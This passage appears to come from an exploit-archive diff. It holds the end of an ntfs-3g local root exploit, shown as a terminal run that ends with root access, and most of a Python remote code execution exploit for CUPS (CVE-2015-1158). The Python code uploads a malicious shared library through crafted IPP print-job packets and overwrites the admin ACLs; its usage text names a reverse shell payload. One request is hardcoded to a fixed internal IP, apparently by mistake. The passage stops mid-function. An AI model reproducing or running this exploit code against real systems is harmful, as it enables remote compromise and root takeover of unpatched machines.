@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#'''++++++''''''''''';''';;#@@@@@#''';;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#'''++++++''''''''''''''';;+@@@@@#'';;;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#''++++++''''''''';'''''';;;#@@@@''';:;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+++@@@@@@+''++'+++'''''''''';'''''';:'##';';;:;;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+'++####';;;'+;';;:'@@@@'''+''+++'''''''''';;''''';:::;;;;;;;;'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+;;;;;;;;::;;;;;'''''';:+@@@;''+''+++''''';''';;;''''';::;;;;;;'''@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#';;;;:;;;;:;;;;;;;;'''''';:+@#'+'+''++'''''';''';;;;''''';:;;;;''+#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;;;;;;;;;;;;;;;;:;;;;'''''::#'''''''+++'''';;''';;,;''''';:'''+##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#;;;;;;;;;;';;''''';;;,,;''''';;''''''''+''''';;;'''';;;;;;';;;;'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+;;;;;;;;''''''+'''''''''';'''''::'''''''+'''';;:;'''';;;;';+';;;+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#;;'';;'';;;'++++++++''''''';;''';''''';''+'''';;,;'++'';;;;;+'';;;#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';'';'::::;::::'#@#+''''''+''';'';'''';''++''';;::;+++'';;;;'++';;;:##@@@@@@@@@@@@@@@@@@@@@@@#'';::;'#@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@'''';:::;;;;;;;;:'@@@++';;'+'';''''''';'++''''';,;'+++''';;;'''+':;::+@@@@@@@@@@@@@@@@@@@##';;;;;;;;;::#@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+''::;;;;;'''''';::#@#+'';;'+'';''''';''+''''';;:;'##++'';;;';#+'':;;;'##@@@@@@@@@@@@@@@#;;;;;;;;;;;:;::'@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@':;;;;;;;''++++';;:'@#+';;''''''''';''+''#+';;;;''+##+''';;;;'#++';;;;;;+#@@@@@@@@@@#';;;;''''';;;;;;;::;@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;;;;;;;;''++++++'';:'++''''+'';'';''++#@@+';;;;;++##++''''';:+@#+';;;;;;:::::;;;;:;;;;;;'''''''''';;;;::'@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';;;;;;;;;;'+####+++''';;;;;;'++;'''''#+++@#+''';;'#@@#++'''''';:+@##+'';;;;;:;;;;;;;;;;';''''''''''''',:;;;#@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+;;;;;;;'';'+@@@@##++++'+''';;;'+'''''#@@@@@#'''';;'@@@@#@##+'+'';:'#@#+'''';;;;;;;;;;;'''''''''++++++'';';;;'@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;;;;';;;'''+@@@@@@###+++++'+;:;'++'';'+@@@#@+''';;;+@@@@@@@@+++'';;;;'++'''';;;;;;;'''''''''+++#@@@@#++++'';;;@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;''';;'''+#@@@@@@@@###++####+''''+''''''''''''''';;#@@@@@@@@@#++'''''';;;:;;';;;::,;''''++++'';+@@@@@@#'++'';'@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+'''''''#@@@@@@@@@@@########+++++++''''''''''''';;'@@@@@@@@@@@#+''''''''''''''';;;;:::##@@@@@@@@@@@@@@@@@@++'#@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##+####@@@@@@@@@@@@@@@@@@@@@#'''#++''''''''''''';+@@@@@@@@@@@#++''''+++''''+'''';;;;::+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+''''''''''''+@@@@@@@@@@@@@@###++++++'''+++''';;;;;:+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+''''''''''#@@@@@@@@@@@@@@@@@@###+#+++++++'''';;;;::#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#++++#####@@@@@@@@@@@@@@@@@@@@@#+######+++++'';;;;;::@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+';'+@@@@@@@@@@@@@@@@@@@@@@@@@@@###@@@###+++'''':;;;:'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#++#+##++'';:;;;;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@####@++++''';;;'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+++'''''#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#####@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;:##';;;@;';+@@';;;@;;;;'@@':'@';@''+@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# ' # @ + `@ # @` ,@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, `@:'. .#` + @ ;#@` `,, ,`@ '` :@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; `@@ @@ . @ ` @@ :@ :#@@ :@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#, @# @@ `## `.#@` :@ `@'@``` :@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; @@ @@ : @`` ;@ :@' `@ #` :@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:` '@# @@ #` : `'@ :@@' # `@` :@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
|
||||
$ whoami
|
||||
user
|
||||
$ ./cve-2017-0358.sh
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@ CVE-2017-0359, PoC by Kristian Erik Hermansen @
|
||||
@ ntfs-3g local privilege escalation to root @
|
||||
@ Credits to Google Project Zero @
|
||||
@ Affects: Debian 9/8/7, Ubuntu, Gentoo, others @
|
||||
@ Tested: Debian 9 (Stretch) @
|
||||
@ Date: 2017-02-03 @
|
||||
@ Link: https://goo.gl/A9I8Vq @
|
||||
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
||||
[*] Gathering environment info ...
|
||||
[*] Creating kernel hijack directories ...
|
||||
[*] Forging symlinks ...
|
||||
[*] Pulling in deps ...
|
||||
[*] Building kernel module ...
|
||||
[+] SUCCESS: You have root. Don't be evil :)
|
||||
# whoami
|
||||
root
|
||||
EOF
|
||||
523
platforms/linux/remote/41233.py
Executable file
523
platforms/linux/remote/41233.py
Executable file
|
|
@ -0,0 +1,523 @@
|
|||
#!/usr/bin/python
|
||||
# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution
|
||||
# Google Dork: n/a
|
||||
# Date: 2/2/17
|
||||
# Exploit Author: @0x00string
|
||||
# Vendor Homepage: cups.org
|
||||
# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2
|
||||
# Version: <2.0.3
|
||||
# Tested on: Ubuntu 14/15
|
||||
# CVE : CVE-2015-1158
|
||||
import os, re, socket, random, time, getopt, sys
|
||||
from socket import *
|
||||
from struct import *
|
||||
|
||||
def banner():
|
||||
print '''
|
||||
lol ty google
|
||||
0000000000000
|
||||
0000000000000000000 00
|
||||
00000000000000000000000000000
|
||||
0000000000000000000000000000000
|
||||
000000000 0000000000
|
||||
00000000 0000000000
|
||||
0000000 000000000000
|
||||
0000000 000000000000000
|
||||
000000 000000000 000000
|
||||
0000000 000000000 000000
|
||||
000000 000000000 000000
|
||||
000000 000000000 000000
|
||||
000000 00000000 000000
|
||||
000000 000000000 000000
|
||||
0000000 000000000 0000000
|
||||
000000 000000000 000000
|
||||
0000000000000000 0000000
|
||||
0000000000000 0000000
|
||||
00000000000 00000000
|
||||
00000000000 000000000
|
||||
0000000000000000000000000000000
|
||||
00000000000000000000000000000
|
||||
000 0000000000000000000
|
||||
0000000000000
|
||||
@0x00string
|
||||
github.com/0x00string/oldays/CVE-2015-1158.py
|
||||
'''
|
||||
|
||||
def usage ():
|
||||
print ("python script.py <args>\n"
|
||||
" -h, --help: Show this message\n"
|
||||
" -a, --rhost: Target IP address\n"
|
||||
" -b, --rport: Target IPP service port\n"
|
||||
" -c, --lib /path/to/payload.so\n"
|
||||
" -f, --stomp-only Only stomp the ACL (no postex)\n"
|
||||
"\n"
|
||||
"Examples:\n"
|
||||
"python script.py -a 10.10.10.10 -b 631 -f\n"
|
||||
"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")
|
||||
exit()
|
||||
|
||||
def pretty (t, m):
|
||||
if (t is "+"):
|
||||
print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
|
||||
elif (t is "-"):
|
||||
print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
|
||||
elif (t is "*"):
|
||||
print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
|
||||
elif (t is "!"):
|
||||
print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",
|
||||
|
||||
def createDump (input):
|
||||
d, b, h = '', [], []
|
||||
u = list(input)
|
||||
for e in u:
|
||||
h.append(e.encode("hex"))
|
||||
if e == '0x0':
|
||||
b.append('0')
|
||||
elif 30 > ord(e) or ord(e) > 128:
|
||||
b.append('.')
|
||||
elif 30 < ord(e) or ord(e) < 128:
|
||||
b.append(e)
|
||||
|
||||
i = 0
|
||||
while i < len(h):
|
||||
if (len(h) - i ) >= 16:
|
||||
d += ' '.join(h[i:i+16])
|
||||
d += " "
|
||||
d += ' '.join(b[i:i+16])
|
||||
d += "\n"
|
||||
i = i + 16
|
||||
else:
|
||||
d += ' '.join(h[i:(len(h) - 0 )])
|
||||
pad = len(' '.join(h[i:(len(h) - 0 )]))
|
||||
d += ' ' * (56 - pad)
|
||||
d += ' '.join(b[i:(len(h) - 0 )])
|
||||
d += "\n"
|
||||
i = i + len(h)
|
||||
|
||||
return d
|
||||
|
||||
class tcpsock:
|
||||
def __init__(self, sock=None):
|
||||
if sock is None:
|
||||
self.sock = socket(
|
||||
AF_INET, SOCK_STREAM)
|
||||
self.sock.settimeout(30)
|
||||
else:
|
||||
self.sock = sock
|
||||
def connect(self, host, port):
|
||||
self.sock.connect((host, int(port)))
|
||||
def tx(self, msg):
|
||||
self.sock.send(msg)
|
||||
def rx(self):
|
||||
tmp = self.sock.recv(1024)
|
||||
msg = ""
|
||||
while tmp:
|
||||
msg += tmp
|
||||
tmp = self.sock.recv(1024)
|
||||
return msg
|
||||
|
||||
def txrx (ip, port, proto, txpacket):
|
||||
if (proto is "tcp"):
|
||||
sock = tcpsock()
|
||||
elif (proto is "udp"):
|
||||
sock = udpsock()
|
||||
else:
|
||||
return None
|
||||
sock.connect(ip, port)
|
||||
sock.tx(txpacket)
|
||||
rxpacket = sock.rx()
|
||||
return rxpacket
|
||||
|
||||
def locatePrinters(rhost, rport="631"):
|
||||
request = ( "GET /printers HTTP/1.1\x0d\x0a"
|
||||
"Host: " + rhost + ":" + rport + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Close\x0d\x0a"
|
||||
"\x0d\x0a")
|
||||
response = txrx(rhost, int(rport), "tcp", request)
|
||||
if response is not None:
|
||||
m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)
|
||||
if m is not None:
|
||||
printer = m.group(1)
|
||||
pretty("+","printer found: " + printer)
|
||||
else:
|
||||
pretty("-","no printers")
|
||||
exit(1)
|
||||
return printer
|
||||
|
||||
def preparePayload(libpath):
|
||||
with open(libpath, 'rb') as f:
|
||||
payload = f.read()
|
||||
if payload is not None:
|
||||
pretty("*","Payload:\n" + createDump(payload))
|
||||
else:
|
||||
pretty("-","something went wrong")
|
||||
usage()
|
||||
return payload
|
||||
|
||||
def seedTarget(rhost, rport, printer, payload):
|
||||
i = random.randint(1,3)
|
||||
reqid = str(pack(">i",(i+2)))
|
||||
reqid2 = str(pack(">i",(i+3)))
|
||||
printer_uri = "ipp://" + rhost + ":" + str(rport) + printer
|
||||
|
||||
create_job_packet = ("\x02\x00"
|
||||
"\x00\x05"+
|
||||
reqid+
|
||||
"\x01"
|
||||
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
|
||||
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
|
||||
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
|
||||
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
|
||||
"\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib"
|
||||
"\x02"
|
||||
"\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01"
|
||||
"\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03"
|
||||
"\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30"
|
||||
"\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite"
|
||||
"\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32"
|
||||
"\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none"
|
||||
"\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01"
|
||||
"\x03")
|
||||
pretty("*","Sending createJob")
|
||||
|
||||
http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
|
||||
"Content-Type: application/ipp\x0d\x0a"
|
||||
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Close\x0d\x0a"
|
||||
"Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a"
|
||||
"\x0d\x0a")
|
||||
|
||||
createJobRequest = http_header1 + create_job_packet
|
||||
blah = txrx(rhost,int(rport),"tcp",createJobRequest)
|
||||
if blah is not None:
|
||||
m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah)
|
||||
if m is not None:
|
||||
jobid = m.group(1)
|
||||
else:
|
||||
pretty("-","something went wrong");
|
||||
exit()
|
||||
|
||||
pretty("*","\n" + createDump(blah) + "\n")
|
||||
pretty("*", "Sending sendJob")
|
||||
|
||||
send_document_packet = ("\x02\x00"
|
||||
"\x00\x06"+
|
||||
reqid2+
|
||||
"\x01"
|
||||
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
|
||||
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
|
||||
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
|
||||
"\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) +
|
||||
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
|
||||
"\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib"
|
||||
"\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream"
|
||||
"\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01"
|
||||
"\x03"+
|
||||
payload)
|
||||
|
||||
http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
|
||||
"Content-Type: application/ipp\x0d\x0a"
|
||||
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Close\x0d\x0a"
|
||||
"Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a"
|
||||
"\x0d\x0a")
|
||||
|
||||
sendJobRequest = http_header2 + send_document_packet
|
||||
blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest)
|
||||
pretty("*","\n" + createDump(blah) + "\n")
|
||||
pretty("*","job id: " + jobid)
|
||||
return jobid
|
||||
|
||||
def stompACL(rhost, rport, printer):
|
||||
i = random.randint(1,1024)
|
||||
printer_url = "ipp://" + rhost + ":" + rport + printer
|
||||
|
||||
admin_stomp = ("\x02\x00" # vers 2.0
|
||||
"\x00\x05"+ # op id: Create Job (0x0005)
|
||||
str(pack(">i",(i+1)))+
|
||||
"\x01" # op attributes marker
|
||||
"\x47" # charset
|
||||
"\x00\x12" # name len: 18
|
||||
"attributes-charset"
|
||||
"\x00\x08" # val len: 8
|
||||
"us-ascii"
|
||||
"\x48" # natural language
|
||||
"\x00\x1b" # name len: 27
|
||||
"attributes-natural-language"
|
||||
"\x00\x06" # val len: 6
|
||||
"/admin"
|
||||
"\x45" # printer-uri
|
||||
"\x00\x0b" # name len 11
|
||||
"printer-uri" +
|
||||
str(pack(">h", len(printer_url))) + printer_url +
|
||||
"\x42" # name without lang
|
||||
"\x00\x14" # name len: 20
|
||||
"requesting-user-name"
|
||||
"\x00\x06" # val len: 6
|
||||
"/admin"
|
||||
"\x02" # job attrs marker
|
||||
"\x21" # integer
|
||||
"\x00\x06" # name len: 6
|
||||
"copies"
|
||||
"\x00\x04" # val len: 4
|
||||
"\x00\x00\x00\x01" # 1
|
||||
"\x42" # name w/o lang
|
||||
"\x00\x19" # name len: 25
|
||||
"job-originating-host-name"
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x36" # nwl
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x16" # val len: 22
|
||||
"\x00\x06" # length
|
||||
"/admin"
|
||||
"\x00\x0c"
|
||||
"BBBBBBBBBBBB"
|
||||
"\x03") # end of attributes
|
||||
|
||||
conf_stomp = ("\x02\x00" # vers 2.0
|
||||
"\x00\x05"+ # op id: Create Job (0x0005)
|
||||
str(pack(">i",(i+2)))+
|
||||
"\x01" # op attributes marker
|
||||
"\x47" # charset
|
||||
"\x00\x12" # name len: 18
|
||||
"attributes-charset"
|
||||
"\x00\x08" # val len: 8
|
||||
"us-ascii"
|
||||
"\x48" # natural language
|
||||
"\x00\x1b" # name len: 27
|
||||
"attributes-natural-language"
|
||||
"\x00\x0b" # val len: 11
|
||||
"/admin/conf"
|
||||
"\x45" # printer-uri
|
||||
"\x00\x0b" # name len 11
|
||||
"printer-uri" +
|
||||
str(pack(">h", len(printer_url))) + printer_url +
|
||||
"\x42" # name without lang
|
||||
"\x00\x14" # name len: 20
|
||||
"requesting-user-name"
|
||||
"\x00\x0b" # val len: 11
|
||||
"/admin/conf"
|
||||
"\x02" # job attrs marker
|
||||
"\x21" # integer
|
||||
"\x00\x06" # name len: 6
|
||||
"copies"
|
||||
"\x00\x04" # val len: 4
|
||||
"\x00\x00\x00\x01" # 1
|
||||
"\x42" # name w/o lang
|
||||
"\x00\x19" # name len: 25
|
||||
"job-originating-host-name"
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x42" # nwol
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x0c" # val len: 12
|
||||
"AAAAAAAAAAAA"
|
||||
"\x36" # nwl
|
||||
"\x00\x00" # name len: 0
|
||||
"\x00\x1b" # val len: 27
|
||||
"\x00\x0b" # length
|
||||
"/admin/conf"
|
||||
"\x00\x0c"
|
||||
"BBBBBBBBBBBB"
|
||||
"\x03") # end of attributes
|
||||
|
||||
http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
|
||||
"Content-Type: application/ipp\x0d\x0a"
|
||||
"Host: " + rhost + ":" + rport + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Close\x0d\x0a"
|
||||
"Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a"
|
||||
"\x0d\x0a")
|
||||
|
||||
http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
|
||||
"Content-Type: application/ipp\x0d\x0a"
|
||||
"Host: " + rhost + ":" + rport + "\x0d\x0a"
|
||||
"User-Agent: CUPS/2.0.2\x0d\x0a"
|
||||
"Connection: Close\x0d\x0a"
|
||||
"Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a"
|
